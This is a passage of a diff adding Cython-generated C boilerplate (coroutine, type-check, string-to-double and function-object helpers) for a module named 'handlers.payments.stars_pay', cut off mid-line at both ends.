PyObject* arg2); + +/* PyObjectCallOneArg.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg); + +/* PyObjectGetMethod.proto */ +static int __Pyx_PyObject_GetMethod(PyObject *obj, PyObject *name, PyObject **method); + +/* PyObjectCallMethod1.proto */ +static PyObject* __Pyx_PyObject_CallMethod1(PyObject* obj, PyObject* method_name, PyObject* arg); + +/* PyObjectCallNoArg.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func); + +/* CoroutineBase.proto */ +struct __pyx_CoroutineObject; +typedef PyObject *(*__pyx_coroutine_body_t)(struct __pyx_CoroutineObject *, PyThreadState *, PyObject *); +#if CYTHON_USE_EXC_INFO_STACK +#define __Pyx_ExcInfoStruct _PyErr_StackItem +#else +typedef struct { + PyObject *exc_type; + PyObject *exc_value; + PyObject *exc_traceback; +} __Pyx_ExcInfoStruct; +#endif +typedef struct __pyx_CoroutineObject { + PyObject_HEAD + __pyx_coroutine_body_t body; + PyObject *closure; + __Pyx_ExcInfoStruct gi_exc_state; + PyObject *gi_weakreflist; + PyObject *classobj; + PyObject *yieldfrom; + PyObject *gi_name; + PyObject *gi_qualname; + PyObject *gi_modulename; + PyObject *gi_code; + PyObject *gi_frame; + int resume_label; + char is_running; +} __pyx_CoroutineObject; +static __pyx_CoroutineObject *__Pyx__Coroutine_New( + PyTypeObject *type, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name); +static __pyx_CoroutineObject *__Pyx__Coroutine_NewInit( + __pyx_CoroutineObject *gen, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name); +static CYTHON_INLINE void __Pyx_Coroutine_ExceptionClear(__Pyx_ExcInfoStruct *self); +static int __Pyx_Coroutine_clear(PyObject *self); +static PyObject *__Pyx_Coroutine_Send(PyObject *self, PyObject *value); +static PyObject *__Pyx_Coroutine_Close(PyObject *self); +static PyObject *__Pyx_Coroutine_Throw(PyObject *gen, PyObject *args); +#if CYTHON_USE_EXC_INFO_STACK +#define __Pyx_Coroutine_SwapException(self) +#define __Pyx_Coroutine_ResetAndClearException(self) __Pyx_Coroutine_ExceptionClear(&(self)->gi_exc_state) +#else +#define __Pyx_Coroutine_SwapException(self) {\ + __Pyx_ExceptionSwap(&(self)->gi_exc_state.exc_type, &(self)->gi_exc_state.exc_value, &(self)->gi_exc_state.exc_traceback);\ + __Pyx_Coroutine_ResetFrameBackpointer(&(self)->gi_exc_state);\ + } +#define __Pyx_Coroutine_ResetAndClearException(self) {\ + __Pyx_ExceptionReset((self)->gi_exc_state.exc_type, (self)->gi_exc_state.exc_value, (self)->gi_exc_state.exc_traceback);\ + (self)->gi_exc_state.exc_type = (self)->gi_exc_state.exc_value = (self)->gi_exc_state.exc_traceback = NULL;\ + } +#endif +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyGen_FetchStopIterationValue(pvalue)\ + __Pyx_PyGen__FetchStopIterationValue(__pyx_tstate, pvalue) +#else +#define __Pyx_PyGen_FetchStopIterationValue(pvalue)\ + __Pyx_PyGen__FetchStopIterationValue(__Pyx_PyThreadState_Current, pvalue) +#endif +static int __Pyx_PyGen__FetchStopIterationValue(PyThreadState *tstate, PyObject **pvalue); +static CYTHON_INLINE void __Pyx_Coroutine_ResetFrameBackpointer(__Pyx_ExcInfoStruct *exc_state); + +/* PyObject_GenericGetAttrNoDict.proto */ +#if CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP && PY_VERSION_HEX < 0x03070000 +static CYTHON_INLINE PyObject* __Pyx_PyObject_GenericGetAttrNoDict(PyObject* obj, PyObject* attr_name); +#else +#define __Pyx_PyObject_GenericGetAttrNoDict PyObject_GenericGetAttr +#endif + +/* PatchModuleWithCoroutine.proto */ +static PyObject* __Pyx_Coroutine_patch_module(PyObject* module, const char* py_code); + +/* PatchGeneratorABC.proto */ +static int __Pyx_patch_abc(void); + +/* Coroutine.proto */ +#define __Pyx_Coroutine_USED +#define __Pyx_Coroutine_CheckExact(obj) __Pyx_IS_TYPE(obj, __pyx_CoroutineType) +#define __Pyx_Coroutine_Check(obj) __Pyx_Coroutine_CheckExact(obj) +#define __Pyx_CoroutineAwait_CheckExact(obj) __Pyx_IS_TYPE(obj, __pyx_CoroutineAwaitType) +#define __Pyx_Coroutine_New(body, code, closure, name, qualname, module_name)\ + __Pyx__Coroutine_New(__pyx_CoroutineType, body, code, closure, name, qualname, module_name) +static int __pyx_Coroutine_init(PyObject *module); +static PyObject *__Pyx__Coroutine_await(PyObject *coroutine); +typedef struct { + PyObject_HEAD + PyObject *coroutine; +} __pyx_CoroutineAwaitObject; +static PyObject *__Pyx_CoroutineAwait_Close(__pyx_CoroutineAwaitObject *self, PyObject *arg); +static PyObject *__Pyx_CoroutineAwait_Throw(__pyx_CoroutineAwaitObject *self, PyObject *args); + +/* GetAwaitIter.proto */ +static CYTHON_INLINE PyObject *__Pyx_Coroutine_GetAwaitableIter(PyObject *o); +static PyObject *__Pyx__Coroutine_GetAwaitableIter(PyObject *o); + +/* CoroutineYieldFrom.proto */ +static CYTHON_INLINE PyObject* __Pyx_Coroutine_Yield_From(__pyx_CoroutineObject *gen, PyObject *source); + +/* PyIntBinop.proto */ +#if !CYTHON_COMPILING_IN_PYPY +static PyObject* __Pyx_PyInt_AddObjC(PyObject *op1, PyObject *op2, long intval, int inplace, int zerodivision_check); +#else +#define __Pyx_PyInt_AddObjC(op1, op2, intval, inplace, zerodivision_check)\ + (inplace ? PyNumber_InPlaceAdd(op1, op2) : PyNumber_Add(op1, op2)) +#endif + +/* GetItemInt.proto */ +#define __Pyx_GetItemInt(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ + (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ + __Pyx_GetItemInt_Fast(o, (Py_ssize_t)i, is_list, wraparound, boundscheck) :\ + (is_list ? (PyErr_SetString(PyExc_IndexError, "list index out of range"), (PyObject*)NULL) :\ + __Pyx_GetItemInt_Generic(o, to_py_func(i)))) +#define __Pyx_GetItemInt_List(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ + (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ + __Pyx_GetItemInt_List_Fast(o, (Py_ssize_t)i, wraparound, boundscheck) :\ + (PyErr_SetString(PyExc_IndexError, "list index out of range"), (PyObject*)NULL)) +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_List_Fast(PyObject *o, Py_ssize_t i, + int wraparound, int boundscheck); +#define __Pyx_GetItemInt_Tuple(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ + (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ + __Pyx_GetItemInt_Tuple_Fast(o, (Py_ssize_t)i, wraparound, boundscheck) :\ + (PyErr_SetString(PyExc_IndexError, "tuple index out of range"), (PyObject*)NULL)) +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Tuple_Fast(PyObject *o, Py_ssize_t i, + int wraparound, int boundscheck); +static PyObject *__Pyx_GetItemInt_Generic(PyObject *o, PyObject* j); +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Fast(PyObject *o, Py_ssize_t i, + int is_list, int wraparound, int boundscheck); + +/* ObjectGetItem.proto */ +#if CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PyObject *__Pyx_PyObject_GetItem(PyObject *obj, PyObject *key); +#else +#define __Pyx_PyObject_GetItem(obj, key) PyObject_GetItem(obj, key) +#endif + +/* DictGetItem.proto */ +#if PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY +static PyObject *__Pyx_PyDict_GetItem(PyObject *d, PyObject* key); +#define __Pyx_PyObject_Dict_GetItem(obj, name)\ + (likely(PyDict_CheckExact(obj)) ?\ + __Pyx_PyDict_GetItem(obj, name) : PyObject_GetItem(obj, name)) +#else +#define __Pyx_PyDict_GetItem(d, key) PyObject_GetItem(d, key) +#define __Pyx_PyObject_Dict_GetItem(obj, name) PyObject_GetItem(obj, name) +#endif + +/* PyObjectFormatSimple.proto */ +#if CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + PyObject_Format(s, f)) +#elif PY_MAJOR_VERSION < 3 + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + likely(PyString_CheckExact(s)) ? PyUnicode_FromEncodedObject(s, NULL, "strict") :\ + PyObject_Format(s, f)) +#elif CYTHON_USE_TYPE_SLOTS + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + likely(PyLong_CheckExact(s)) ? PyLong_Type.tp_repr(s) :\ + likely(PyFloat_CheckExact(s)) ? PyFloat_Type.tp_repr(s) :\ + PyObject_Format(s, f)) +#else + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + PyObject_Format(s, f)) +#endif + +/* PyIntCompare.proto */ +static CYTHON_INLINE int __Pyx_PyInt_BoolEqObjC(PyObject *op1, PyObject *op2, long intval, long inplace); + +/* GetException.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_GetException(type, value, tb) __Pyx__GetException(__pyx_tstate, type, value, tb) +static int __Pyx__GetException(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#else +static int __Pyx_GetException(PyObject **type, PyObject **value, PyObject **tb); +#endif + +/* pep479.proto */ +static void __Pyx_Generator_Replace_StopIteration(int in_async_gen); + +/* JoinPyUnicode.proto */ +static PyObject* __Pyx_PyUnicode_Join(PyObject* value_tuple, Py_ssize_t value_count, Py_ssize_t result_ulength, + Py_UCS4 max_char); + +/* UnicodeConcatInPlace.proto */ +# if CYTHON_COMPILING_IN_CPYTHON && PY_MAJOR_VERSION >= 3 + #if CYTHON_REFNANNY + #define __Pyx_PyUnicode_ConcatInPlace(left, right) __Pyx_PyUnicode_ConcatInPlaceImpl(&left, right, __pyx_refnanny) + #else + #define __Pyx_PyUnicode_ConcatInPlace(left, right) __Pyx_PyUnicode_ConcatInPlaceImpl(&left, right) + #endif + static CYTHON_INLINE PyObject *__Pyx_PyUnicode_ConcatInPlaceImpl(PyObject **p_left, PyObject *right + #if CYTHON_REFNANNY + , void* __pyx_refnanny + #endif + ); +#else +#define __Pyx_PyUnicode_ConcatInPlace __Pyx_PyUnicode_Concat +#endif +#define __Pyx_PyUnicode_ConcatInPlaceSafe(left, right) ((unlikely((left) == Py_None) || unlikely((right) == Py_None)) ?\ + PyNumber_InPlaceAdd(left, right) : __Pyx_PyUnicode_ConcatInPlace(left, right)) + +/* pybytes_as_double.proto */ +static double __Pyx_SlowPyString_AsDouble(PyObject *obj); +static double __Pyx__PyBytes_AsDouble(PyObject *obj, const char* start, Py_ssize_t length); +static CYTHON_INLINE double __Pyx_PyBytes_AsDouble(PyObject *obj) { + char* as_c_string; + Py_ssize_t size; +#if CYTHON_ASSUME_SAFE_MACROS + as_c_string = PyBytes_AS_STRING(obj); + size = PyBytes_GET_SIZE(obj); +#else + if (PyBytes_AsStringAndSize(obj, &as_c_string, &size) < 0) { + return (double)-1; + } +#endif + return __Pyx__PyBytes_AsDouble(obj, as_c_string, size); +} +static CYTHON_INLINE double __Pyx_PyByteArray_AsDouble(PyObject *obj) { + char* as_c_string; + Py_ssize_t size; +#if CYTHON_ASSUME_SAFE_MACROS + as_c_string = PyByteArray_AS_STRING(obj); + size = PyByteArray_GET_SIZE(obj); +#else + as_c_string = PyByteArray_AsString(obj); + if (as_c_string == NULL) { + return (double)-1; + } + size = PyByteArray_Size(obj); +#endif + return __Pyx__PyBytes_AsDouble(obj, as_c_string, size); +} + +/* pyunicode_as_double.proto */ +#if PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY && CYTHON_ASSUME_SAFE_MACROS +static const char* __Pyx__PyUnicode_AsDouble_Copy(const void* data, const int kind, char* buffer, Py_ssize_t start, Py_ssize_t end) { + int last_was_punctuation; + Py_ssize_t i; + last_was_punctuation = 1; + for (i=start; i <= end; i++) { + Py_UCS4 chr = PyUnicode_READ(kind, data, i); + int is_punctuation = (chr == '_') | (chr == '.'); + *buffer = (char)chr; + buffer += (chr != '_'); + if (unlikely(chr > 127)) goto parse_failure; + if (unlikely(last_was_punctuation & is_punctuation)) goto parse_failure; + last_was_punctuation = is_punctuation; + } + if (unlikely(last_was_punctuation)) goto parse_failure; + *buffer = '\0'; + return buffer; +parse_failure: + return NULL; +} +static double __Pyx__PyUnicode_AsDouble_inf_nan(const void* data, int kind, Py_ssize_t start, Py_ssize_t length) { + int matches = 1; + Py_UCS4 chr; + Py_UCS4 sign = PyUnicode_READ(kind, data, start); + int is_signed = (sign == '-') | (sign == '+'); + start += is_signed; + length -= is_signed; + switch (PyUnicode_READ(kind, data, start)) { + #ifdef Py_NAN + case 'n': + case 'N': + if (unlikely(length != 3)) goto parse_failure; + chr = PyUnicode_READ(kind, data, start+1); + matches &= (chr == 'a') | (chr == 'A'); + chr = PyUnicode_READ(kind, data, start+2); + matches &= (chr == 'n') | (chr == 'N'); + if (unlikely(!matches)) goto parse_failure; + return (sign == '-') ? -Py_NAN : Py_NAN; + #endif + case 'i': + case 'I': + if (unlikely(length < 3)) goto parse_failure; + chr = PyUnicode_READ(kind, data, start+1); + matches &= (chr == 'n') | (chr == 'N'); + chr = PyUnicode_READ(kind, data, start+2); + matches &= (chr == 'f') | (chr == 'F'); + if (likely(length == 3 && matches)) + return (sign == '-') ? -Py_HUGE_VAL : Py_HUGE_VAL; + if (unlikely(length != 8)) goto parse_failure; + chr = PyUnicode_READ(kind, data, start+3); + matches &= (chr == 'i') | (chr == 'I'); + chr = PyUnicode_READ(kind, data, start+4); + matches &= (chr == 'n') | (chr == 'N'); + chr = PyUnicode_READ(kind, data, start+5); + matches &= (chr == 'i') | (chr == 'I'); + chr = PyUnicode_READ(kind, data, start+6); + matches &= (chr == 't') | (chr == 'T'); + chr = PyUnicode_READ(kind, data, start+7); + matches &= (chr == 'y') | (chr == 'Y'); + if (unlikely(!matches)) goto parse_failure; + return (sign == '-') ? -Py_HUGE_VAL : Py_HUGE_VAL; + case '.': case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': + break; + default: + goto parse_failure; + } + return 0.0; +parse_failure: + return -1.0; +} +static double __Pyx_PyUnicode_AsDouble_WithSpaces(PyObject *obj) { + double value; + const char *last; + char *end; + Py_ssize_t start, length = PyUnicode_GET_LENGTH(obj); + const int kind = PyUnicode_KIND(obj); + const void* data = PyUnicode_DATA(obj); + start = 0; + while (Py_UNICODE_ISSPACE(PyUnicode_READ(kind, data, start))) + start++; + while (start < length - 1 && Py_UNICODE_ISSPACE(PyUnicode_READ(kind, data, length - 1))) + length--; + length -= start; + if (unlikely(length <= 0)) goto fallback; + value = __Pyx__PyUnicode_AsDouble_inf_nan(data, kind, start, length); + if (unlikely(value == -1.0)) goto fallback; + if (value != 0.0) return value; + if (length < 40) { + char number[40]; + last = __Pyx__PyUnicode_AsDouble_Copy(data, kind, number, start, start + length); + if (unlikely(!last)) goto fallback; + value = PyOS_string_to_double(number, &end, NULL); + } else { + char *number = (char*) PyMem_Malloc((length + 1) * sizeof(char)); + if (unlikely(!number)) goto fallback; + last = __Pyx__PyUnicode_AsDouble_Copy(data, kind, number, start, start + length); + if (unlikely(!last)) { + PyMem_Free(number); + goto fallback; + } + value = PyOS_string_to_double(number, &end, NULL); + PyMem_Free(number); + } + if (likely(end == last) || (value == (double)-1 && PyErr_Occurred())) { + return value; + } +fallback: + return __Pyx_SlowPyString_AsDouble(obj); +} +#endif +static CYTHON_INLINE double __Pyx_PyUnicode_AsDouble(PyObject *obj) { +#if PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY && CYTHON_ASSUME_SAFE_MACROS + if (unlikely(__Pyx_PyUnicode_READY(obj) == -1)) + return (double)-1; + if (likely(PyUnicode_IS_ASCII(obj))) { + const char *s; + Py_ssize_t length; + s = PyUnicode_AsUTF8AndSize(obj, &length); + return __Pyx__PyBytes_AsDouble(obj, s, length); + } + return __Pyx_PyUnicode_AsDouble_WithSpaces(obj); +#else + return __Pyx_SlowPyString_AsDouble(obj); +#endif +} + +/* pyobject_as_double.proto */ +static double __Pyx__PyObject_AsDouble(PyObject* obj); +#if CYTHON_COMPILING_IN_PYPY +#define __Pyx_PyObject_AsDouble(obj)\ +(likely(PyFloat_CheckExact(obj)) ? PyFloat_AS_DOUBLE(obj) :\ + likely(PyInt_CheckExact(obj)) ?\ + PyFloat_AsDouble(obj) : __Pyx__PyObject_AsDouble(obj)) +#else +#define __Pyx_PyObject_AsDouble(obj)\ +((likely(PyFloat_CheckExact(obj))) ? PyFloat_AS_DOUBLE(obj) :\ + likely(PyLong_CheckExact(obj)) ?\ + PyLong_AsDouble(obj) : __Pyx__PyObject_AsDouble(obj)) +#endif + +/* PyObjectCallMethod0.proto */ +static PyObject* __Pyx_PyObject_CallMethod0(PyObject* obj, PyObject* method_name); + +/* ValidateBasesTuple.proto */ +#if CYTHON_COMPILING_IN_CPYTHON || CYTHON_COMPILING_IN_LIMITED_API || CYTHON_USE_TYPE_SPECS +static int __Pyx_validate_bases_tuple(const char *type_name, Py_ssize_t dictoffset, PyObject *bases); +#endif + +/* PyType_Ready.proto */ +CYTHON_UNUSED static int __Pyx_PyType_Ready(PyTypeObject *t); + +/* Import.proto */ +static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level); + +/* ImportFrom.proto */ +static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name); + +/* Py3UpdateBases.proto */ +static PyObject* __Pyx_PEP560_update_bases(PyObject *bases); + +/* CalculateMetaclass.proto */ +static PyObject *__Pyx_CalculateMetaclass(PyTypeObject *metaclass, PyObject *bases); + +/* SetNameInClass.proto */ +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030500A1 && PY_VERSION_HEX < 0x030d0000 +#define __Pyx_SetNameInClass(ns, name, value)\ + (likely(PyDict_CheckExact(ns)) ? _PyDict_SetItem_KnownHash(ns, name, value, ((PyASCIIObject *) name)->hash) : PyObject_SetItem(ns, name, value)) +#elif CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_SetNameInClass(ns, name, value)\ + (likely(PyDict_CheckExact(ns)) ? PyDict_SetItem(ns, name, value) : PyObject_SetItem(ns, name, value)) +#else +#define __Pyx_SetNameInClass(ns, name, value) PyObject_SetItem(ns, name, value) +#endif + +/* PyObjectLookupSpecial.proto */ +#if CYTHON_USE_PYTYPE_LOOKUP && CYTHON_USE_TYPE_SLOTS +#define __Pyx_PyObject_LookupSpecialNoError(obj, attr_name) __Pyx__PyObject_LookupSpecial(obj, attr_name, 0) +#define __Pyx_PyObject_LookupSpecial(obj, attr_name) __Pyx__PyObject_LookupSpecial(obj, attr_name, 1) +static CYTHON_INLINE PyObject* __Pyx__PyObject_LookupSpecial(PyObject* obj, PyObject* attr_name, int with_error); +#else +#define __Pyx_PyObject_LookupSpecialNoError(o,n) __Pyx_PyObject_GetAttrStrNoError(o,n) +#define __Pyx_PyObject_LookupSpecial(o,n) __Pyx_PyObject_GetAttrStr(o,n) +#endif + +/* Py3ClassCreate.proto */ +static PyObject *__Pyx_Py3MetaclassPrepare(PyObject *metaclass, PyObject *bases, PyObject *name, PyObject *qualname, + PyObject *mkw, PyObject *modname, PyObject *doc); +static PyObject *__Pyx_Py3ClassCreate(PyObject *metaclass, PyObject *name, PyObject *bases, PyObject *dict, + PyObject *mkw, int calculate_metaclass, int allow_py2_metaclass); + +/* PyMethodNew.proto */ +#if CYTHON_COMPILING_IN_LIMITED_API +static PyObject *__Pyx_PyMethod_New(PyObject *func, PyObject *self, PyObject *typ) { + PyObject *typesModule=NULL, *methodType=NULL, *result=NULL; + CYTHON_UNUSED_VAR(typ); + if (!self) + return __Pyx_NewRef(func); + typesModule = PyImport_ImportModule("types"); + if (!typesModule) return NULL; + methodType = PyObject_GetAttrString(typesModule, "MethodType"); + Py_DECREF(typesModule); + if (!methodType) return NULL; + result = PyObject_CallFunctionObjArgs(methodType, func, self, NULL); + Py_DECREF(methodType); + return result; +} +#elif PY_MAJOR_VERSION >= 3 +static PyObject *__Pyx_PyMethod_New(PyObject *func, PyObject *self, PyObject *typ) { + CYTHON_UNUSED_VAR(typ); + if (!self) + return __Pyx_NewRef(func); + return PyMethod_New(func, self); +} +#else + #define __Pyx_PyMethod_New PyMethod_New +#endif + +/* PyVectorcallFastCallDict.proto */ +#if CYTHON_METH_FASTCALL +static CYTHON_INLINE PyObject *__Pyx_PyVectorcall_FastCallDict(PyObject *func, __pyx_vectorcallfunc vc, PyObject *const *args, size_t nargs, PyObject *kw); +#endif + +/* CythonFunctionShared.proto */ +#define __Pyx_CyFunction_USED +#define __Pyx_CYFUNCTION_STATICMETHOD 0x01 +#define __Pyx_CYFUNCTION_CLASSMETHOD 0x02 +#define __Pyx_CYFUNCTION_CCLASS 0x04 +#define __Pyx_CYFUNCTION_COROUTINE 0x08 +#define __Pyx_CyFunction_GetClosure(f)\ + (((__pyx_CyFunctionObject *) (f))->func_closure) +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_CyFunction_GetClassObj(f)\ + (((__pyx_CyFunctionObject *) (f))->func_classobj) +#else + #define __Pyx_CyFunction_GetClassObj(f)\ + ((PyObject*) ((PyCMethodObject *) (f))->mm_class) +#endif +#define __Pyx_CyFunction_SetClassObj(f, classobj)\ + __Pyx__CyFunction_SetClassObj((__pyx_CyFunctionObject *) (f), (classobj)) +#define __Pyx_CyFunction_Defaults(type, f)\ + ((type *)(((__pyx_CyFunctionObject *) (f))->defaults)) +#define __Pyx_CyFunction_SetDefaultsGetter(f, g)\ + ((__pyx_CyFunctionObject *) (f))->defaults_getter = (g) +typedef struct { +#if CYTHON_COMPILING_IN_LIMITED_API + PyObject_HEAD + PyObject *func; +#elif PY_VERSION_HEX < 0x030900B1 + PyCFunctionObject func; +#else + PyCMethodObject func; +#endif +#if CYTHON_BACKPORT_VECTORCALL + __pyx_vectorcallfunc func_vectorcall; +#endif +#if PY_VERSION_HEX < 0x030500A0 || CYTHON_COMPILING_IN_LIMITED_API + PyObject *func_weakreflist; +#endif + PyObject *func_dict; + PyObject *func_name; + PyObject *func_qualname; + PyObject *func_doc; + PyObject *func_globals; + PyObject *func_code; + PyObject *func_closure; +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + PyObject *func_classobj; +#endif + void *defaults; + int defaults_pyobjects; + size_t defaults_size; + int flags; + PyObject *defaults_tuple; + PyObject *defaults_kwdict; + PyObject *(*defaults_getter)(PyObject *); + PyObject *func_annotations; + PyObject *func_is_coroutine; +} __pyx_CyFunctionObject; +#undef __Pyx_CyOrPyCFunction_Check +#define __Pyx_CyFunction_Check(obj) __Pyx_TypeCheck(obj, __pyx_CyFunctionType) +#define __Pyx_CyOrPyCFunction_Check(obj) __Pyx_TypeCheck2(obj, __pyx_CyFunctionType, &PyCFunction_Type) +#define __Pyx_CyFunction_CheckExact(obj) __Pyx_IS_TYPE(obj, __pyx_CyFunctionType) +static CYTHON_INLINE int __Pyx__IsSameCyOrCFunction(PyObject *func, void *cfunc); +#undef __Pyx_IsSameCFunction +#define __Pyx_IsSameCFunction(func, cfunc) __Pyx__IsSameCyOrCFunction(func, cfunc) +static PyObject *__Pyx_CyFunction_Init(__pyx_CyFunctionObject* op, PyMethodDef *ml, + int flags, PyObject* qualname, + PyObject *closure, + PyObject *module, PyObject *globals, + PyObject* code); +static CYTHON_INLINE void __Pyx__CyFunction_SetClassObj(__pyx_CyFunctionObject* f, PyObject* classobj); +static CYTHON_INLINE void *__Pyx_CyFunction_InitDefaults(PyObject *m, + size_t size, + int pyobjects); +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsTuple(PyObject *m, + PyObject *tuple); +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsKwDict(PyObject *m, + PyObject *dict); +static CYTHON_INLINE void __Pyx_CyFunction_SetAnnotationsDict(PyObject *m, + PyObject *dict); +static int __pyx_CyFunction_init(PyObject *module); +#if CYTHON_METH_FASTCALL +static PyObject * __Pyx_CyFunction_Vectorcall_NOARGS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +static PyObject * __Pyx_CyFunction_Vectorcall_O(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS_METHOD(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +#if CYTHON_BACKPORT_VECTORCALL +#define __Pyx_CyFunction_func_vectorcall(f) (((__pyx_CyFunctionObject*)f)->func_vectorcall) +#else +#define __Pyx_CyFunction_func_vectorcall(f) (((PyCFunctionObject*)f)->vectorcall) +#endif +#endif + +/* CythonFunction.proto */ +static PyObject *__Pyx_CyFunction_New(PyMethodDef *ml, + int flags, PyObject* qualname, + PyObject *closure, + PyObject *module, PyObject *globals, + PyObject* code); + +/* CLineInTraceback.proto */ +#ifdef CYTHON_CLINE_IN_TRACEBACK +#define __Pyx_CLineForTraceback(tstate, c_line) (((CYTHON_CLINE_IN_TRACEBACK)) ? c_line : 0) +#else +static int __Pyx_CLineForTraceback(PyThreadState *tstate, int c_line); +#endif + +/* CodeObjectCache.proto */ +#if !CYTHON_COMPILING_IN_LIMITED_API +typedef struct { + PyCodeObject* code_object; + int code_line; +} __Pyx_CodeObjectCacheEntry; +struct __Pyx_CodeObjectCache { + int count; + int max_count; + __Pyx_CodeObjectCacheEntry* entries; +}; +static struct __Pyx_CodeObjectCache __pyx_code_cache = {0,0,NULL}; +static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line); +static PyCodeObject *__pyx_find_code_object(int code_line); +static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object); +#endif + +/* AddTraceback.proto */ +static void __Pyx_AddTraceback(const char *funcname, int c_line, + int py_line, const char *filename); + +/* GCCDiagnostics.proto */ +#if !defined(__INTEL_COMPILER) && defined(__GNUC__) && (__GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 6)) +#define __Pyx_HAS_GCC_DIAGNOSTIC +#endif + +/* CIntToPy.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value); + +/* FormatTypeName.proto */ +#if CYTHON_COMPILING_IN_LIMITED_API +typedef PyObject *__Pyx_TypeName; +#define __Pyx_FMT_TYPENAME "%U" +static __Pyx_TypeName __Pyx_PyType_GetName(PyTypeObject* tp); +#define __Pyx_DECREF_TypeName(obj) Py_XDECREF(obj) +#else +typedef const char *__Pyx_TypeName; +#define __Pyx_FMT_TYPENAME "%.200s" +#define __Pyx_PyType_GetName(tp) ((tp)->tp_name) +#define __Pyx_DECREF_TypeName(obj) +#endif + +/* CIntFromPy.proto */ +static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *); + +/* CIntFromPy.proto */ +static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *); + +/* FastTypeChecks.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_TypeCheck(obj, type) __Pyx_IsSubtype(Py_TYPE(obj), (PyTypeObject *)type) +#define __Pyx_TypeCheck2(obj, type1, type2) __Pyx_IsAnySubtype2(Py_TYPE(obj), (PyTypeObject *)type1, (PyTypeObject *)type2) +static CYTHON_INLINE int __Pyx_IsSubtype(PyTypeObject *a, PyTypeObject *b); +static CYTHON_INLINE int __Pyx_IsAnySubtype2(PyTypeObject *cls, PyTypeObject *a, PyTypeObject *b); +static CYTHON_INLINE int __Pyx_PyErr_GivenExceptionMatches(PyObject *err, PyObject *type); +static CYTHON_INLINE int __Pyx_PyErr_GivenExceptionMatches2(PyObject *err, PyObject *type1, PyObject *type2); +#else +#define __Pyx_TypeCheck(obj, type) PyObject_TypeCheck(obj, (PyTypeObject *)type) +#define __Pyx_TypeCheck2(obj, type1, type2) (PyObject_TypeCheck(obj, (PyTypeObject *)type1) || PyObject_TypeCheck(obj, (PyTypeObject *)type2)) +#define __Pyx_PyErr_GivenExceptionMatches(err, type) PyErr_GivenExceptionMatches(err, type) +#define __Pyx_PyErr_GivenExceptionMatches2(err, type1, type2) (PyErr_GivenExceptionMatches(err, type1) || PyErr_GivenExceptionMatches(err, type2)) +#endif +#define __Pyx_PyErr_ExceptionMatches2(err1, err2) __Pyx_PyErr_GivenExceptionMatches2(__Pyx_PyErr_CurrentExceptionType(), err1, err2) +#define __Pyx_PyException_Check(obj) __Pyx_TypeCheck(obj, PyExc_Exception) + +/* CheckBinaryVersion.proto */ +static unsigned long __Pyx_get_runtime_version(void); +static int __Pyx_check_binary_version(unsigned long ct_version, unsigned long rt_version, int allow_newer); + +/* InitStrings.proto */ +static int __Pyx_InitStrings(__Pyx_StringTabEntry *t); + +/* #### Code section: module_declarations ### */ + +/* Module declarations from "handlers.payments.stars_pay" */ +/* #### Code section: typeinfo ### */ +/* #### Code section: before_global_var ### */ +#define __Pyx_MODULE_NAME "handlers.payments.stars_pay" +extern int __pyx_module_is_main_handlers__payments__stars_pay; +int __pyx_module_is_main_handlers__payments__stars_pay = 